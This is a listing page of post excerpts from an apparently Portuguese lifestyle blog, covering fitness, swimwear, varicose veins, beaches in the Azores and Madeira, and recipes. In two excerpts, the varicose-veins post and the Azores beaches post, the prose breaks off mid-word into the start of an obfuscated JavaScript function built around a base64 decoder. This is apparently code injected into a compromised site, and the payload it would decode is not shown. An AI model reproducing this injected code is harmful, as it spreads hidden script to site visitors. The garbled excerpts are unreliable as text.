Abr 6, 2017 | Equilíbrio, Saúde e bem estar
5 Exercícios para ter uns abdominais definidos O verão está a chegar e as preocupações com o corpo aumentam. Hoje trago-lhe 5 exercícios para ter uns abdominais definidos para exibir na praia este ano! Mas atenção, não vale de nada treinar muito se depois não...
Mar 19, 2017 | Estilo e beleza
Fatos de banho e biquínis tendência em 2017 O sol já dá um ar da sua graça e com ele chega a vontade de vestir roupa mais leve e fresca e de ir dar um saltinho à praia. Mas será que o fato de banho que usou nos últimos anos ainda está na moda? É sempre bom dar...
Mar 10, 2017 | Dicas úteis, Faça você mesmo
10 maneiras de prevenir as varizes As varizes, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Mar 9, 2017 | À descoberta, Dicas úteis
Glúteos mais definidos – 5 exercícios O calor chegou e as preocupações com o corpo aumentam. Hoje dou-lhe a conhecer 5 dos melhores exercícios que ajudam a tonificar os glúteos. Caso tenha essa zona do corpo pouco firme saiba que estes exercícios garantem...
Set 24, 2016 | À descoberta, Dicas úteis
Um piquenique perfeito – Tudo o que precisa de saber É maravilhoso estender uma toalha no meio da natureza e desfrutar de uma refeição super saborosa na companhia dos nossos familiares e amigos e em comunhão com a natureza. Mas , para preparar o piquenique...
Set 18, 2016 | Apanhados na rede, Olha que giro
10 pranchas de surf originais que o vão surpreender Alguma vez se iniciou no surf ou em qualquer outro desporto radical? Ainda vai a tempo de começar! Aqui mostro-lhe uma série pranchas de surf com MUITA onda! Veja só! Este senhor decidiu melhorar a forma como se faz...
Set 18, 2016 | À descoberta, Dicas úteis
9 praias dos Açores que tem de conhecer O tempo function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Set 17, 2016 | À descoberta, Dicas úteis
10 praias do arquipélago da Madeira que tem de conhecer Pensava que eu me tinha esquecido do nosso querido arquipélago da Madeira? Nem pensar! Se achava que a maravilha da Madeira era só o bolo do caco, desengane-se. Desta vez, vou mostrar-lhe os mais belos locais...
Set 11, 2016 | À descoberta, Receitas
Salada fresca de atum, requeijão, amêndoas e amendoins por Luísa Fortes da Cunha Ingredientes: 6 Folhas de alface em pedaços 4-5 fatias de requeijão 1 Lata de atum 4 Tomates cherry 8-10 amêndoas 6-8 amendoins Folhas de manjericão a gosto Sal e pimenta a gosto Temperar...
Set 10, 2016 | À descoberta, Receitas
2 cocktails de fruta para fazer em casa: Sangria Blanca + Ponche de citrinos Sangria Blanca Festiva e frutada Para 2 litros Preparação 15 minutos Maceração 1 hora 6 cl de calvados 2 garrafas de vinho branco seco, tipo Chardonnay, bem fresco 2 pêssegos brancos 2 maçãs...
